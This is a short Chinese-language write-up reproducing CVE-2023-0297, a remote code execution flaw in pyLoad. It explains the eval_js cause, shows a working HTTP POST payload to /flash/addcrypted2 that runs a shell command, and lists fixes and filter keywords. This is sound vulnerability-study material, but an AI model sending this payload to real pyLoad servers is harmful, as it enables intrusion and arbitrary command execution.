漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )
漏洞信息
漏洞原理
- 在 addcrypted2() 函数中,对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。
- 利用 JS 中 pyimport 导入 OS 包,执行系统命令(文件操作,进程管理),还可以利用 os.system() 执行 shell 命令。
- 构建 payload 过程比较简单,只要传入所需的 package, crypted, jk, passwords 四个参数即可,这里要注意对 crypted 参数有要求:要对 crypted 参数做 base64 解码,所以长度要为 24 bit 的整数倍且不包含空格。
漏洞环境搭建以及复现
环境
- Kali Linux
- pyload 0.5.0b3.dev30
复现
payload
POST /flash/addcrypted2 HTTP/1.1
Host: <target host>:9666
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/1");f=function%20f2(){};&package=xxxx&crypted=AAAA&&passwords=aaaa
执行
在传入 payload 前,文件系统中不存在 /tmp/1 文件,在攻击后,执行了 touch /tmp/1 命令,再次查看时发现文件已经被创建,即我们传入的命令已经被执行。
修复
升级至 0.5.0b3.dev31 及以上版本
禁用 pyimport 功能
js2py.disable_pyimport()
流量过滤
关键字:jk 参数中 pyimport, os.system 等系统命令